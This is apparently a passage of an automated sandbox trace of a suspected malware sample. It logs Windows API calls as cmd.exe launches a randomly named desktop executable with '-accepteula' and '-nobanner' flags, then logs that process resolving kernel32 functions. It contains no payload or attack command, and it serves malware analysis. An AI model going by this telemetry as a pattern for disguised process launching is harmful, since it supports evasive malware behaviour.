lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0071.647] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0071.647] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0071.649] GetProcessHeap () returned 0x6f0000 [0071.649] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20c) returned 0x702200 [0071.649] GetConsoleTitleW (in: lpConsoleTitle=0x702200, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0071.650] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0071.650] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0071.650] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0071.650] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0071.651] GetProcessHeap () returned 0x6f0000 [0071.651] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x400a) returned 0x704f28 [0071.651] GetProcessHeap () returned 0x6f0000 [0071.651] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x704f28 | out: hHeap=0x6f0000) returned 1 [0071.652] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0071.652] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0071.652] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0071.652] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0071.652] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0071.652] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0071.652] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0071.652] GetProcessHeap () returned 0x6f0000 [0071.653] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x58) returned 0x7046c8 [0071.653] GetProcessHeap () returned 0x6f0000 [0071.653] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x22) returned 0x702418 [0071.653] GetProcessHeap () returned 0x6f0000 [0071.654] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x5c) returned 0x702448 [0071.654] GetConsoleTitleW (in: lpConsoleTitle=0x3ef9f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0071.655] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0071.655] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0071.656] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0071.657] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0071.658] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0071.658] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0071.658] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0071.658] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0071.658] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0071.658] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0071.658] GetProcessHeap () returned 0x6f0000 [0071.658] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x210) returned 0x7024b0 [0071.658] GetProcessHeap () returned 0x6f0000 [0071.658] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x76) returned 0x708fd8 [0071.658] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0071.659] GetProcessHeap () returned 0x6f0000 [0071.659] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x418) returned 0x7026c8 [0071.659] SetErrorMode (uMode=0x0) returned 0x0 [0071.659] SetErrorMode (uMode=0x1) returned 0x0 [0071.659] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7026d0, lpFilePart=0x3ef518 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ef518*="Desktop") returned 0x25 [0071.659] SetErrorMode (uMode=0x0) returned 0x1 [0071.659] GetProcessHeap () returned 0x6f0000 [0071.659] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x7026c8, Size=0x6e) returned 0x7026c8 [0071.659] GetProcessHeap () returned 0x6f0000 [0071.659] RtlSizeHeap (HeapHandle=0x6f0000, Flags=0x0, MemoryPointer=0x7026c8) returned 0x6e [0071.659] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.659] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.659] GetProcessHeap () returned 0x6f0000 [0071.659] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x120) returned 0x702740 [0071.659] GetProcessHeap () returned 0x6f0000 [0071.659] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x238) returned 0x702868 [0071.666] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x3ef2b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ef2b4) returned 0x702a18 [0071.666] GetProcessHeap () returned 0x6f0000 [0071.666] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x14) returned 0x702a58 [0071.666] FindClose (in: hFindFile=0x702a18 | out: hFindFile=0x702a18) returned 1 [0071.666] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0071.666] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0071.666] GetConsoleTitleW (in: lpConsoleTitle=0x3ef78c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0071.666] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ef614, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ef6dc | out: lpAttributeList=0x3ef614, lpSize=0x3ef6dc) returned 1 [0071.666] UpdateProcThreadAttribute (in: lpAttributeList=0x3ef614, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ef6d4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ef614, lpPreviousValue=0x0) returned 1 [0071.666] GetStartupInfoW (in: lpStartupInfo=0x3ef5d0 | out: lpStartupInfo=0x3ef5d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0071.667] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0071.669] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3ef670*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ef6bc | out: lpCommandLine="bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner", lpProcessInformation=0x3ef6bc*(hProcess=0x78, hThread=0x74, dwProcessId=0xc20, dwThreadId=0xc24)) returned 1 [0072.008] CloseHandle (hObject=0x74) returned 1 [0072.008] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.008] GetProcessHeap () returned 0x6f0000 [0072.008] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x702d90 | out: hHeap=0x6f0000) returned 1 [0072.008] GetEnvironmentStringsW () returned 0x702cb8* [0072.008] GetProcessHeap () returned 0x6f0000 [0072.008] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xb88) returned 0x70af40 [0072.008] FreeEnvironmentStringsW (penv=0x702cb8) returned 1 [0072.008] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0075.878] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3ef5b0 | out: lpExitCode=0x3ef5b0*=0x1) returned 1 [0075.878] CloseHandle (hObject=0x78) returned 1 [0075.878] _vsnwprintf (in: _Buffer=0x3ef6f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ef5bc | out: _Buffer="00000001") returned 8 [0075.878] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0075.878] GetProcessHeap () returned 0x6f0000 [0075.878] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x70af40 | out: hHeap=0x6f0000) returned 1 [0075.878] GetEnvironmentStringsW () returned 0x702cb8* [0075.878] GetProcessHeap () returned 0x6f0000 [0075.878] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xb88) returned 0x70af40 [0075.878] FreeEnvironmentStringsW (penv=0x702cb8) returned 1 [0075.878] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.878] GetProcessHeap () returned 0x6f0000 [0075.878] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x70af40 | out: hHeap=0x6f0000) returned 1 [0075.878] GetEnvironmentStringsW () returned 0x702cb8* [0075.878] GetProcessHeap () returned 0x6f0000 [0075.878] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0xb88) returned 0x70af40 [0075.878] FreeEnvironmentStringsW (penv=0x702cb8) returned 1 [0075.878] GetProcessHeap () returned 0x6f0000 [0075.878] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x7000d8 | out: hHeap=0x6f0000) returned 1 [0075.878] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ef614 | out: lpAttributeList=0x3ef614) [0075.878] _get_osfhandle (_FileHandle=1) returned 0x80 [0075.878] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0075.879] _get_osfhandle (_FileHandle=1) returned 0x80 [0075.879] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0075.879] _get_osfhandle (_FileHandle=0) returned 0x3 [0075.879] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0075.879] SetConsoleInputExeNameW () returned 0x1 [0075.879] GetConsoleOutputCP () returned 0x1b5 [0075.879] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0075.879] SetThreadUILanguage (LangId=0x0) returned 0x409 [0075.880] exit (_Code=1) Process: id = "136" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0xe98c000" os_pid = "0xc20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "135" os_parent_pid = "0xc18" cmd_line = "bv6ncK8c.exe -accepteula \"JNTFiltr.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 679 os_tid = 0xc24 [0075.406] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0075.406] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0075.406] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0075.406] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0075.406] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0075.406] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0075.407] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0075.408] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0075.409] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0075.410] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0075.411] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0075.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0075.413] 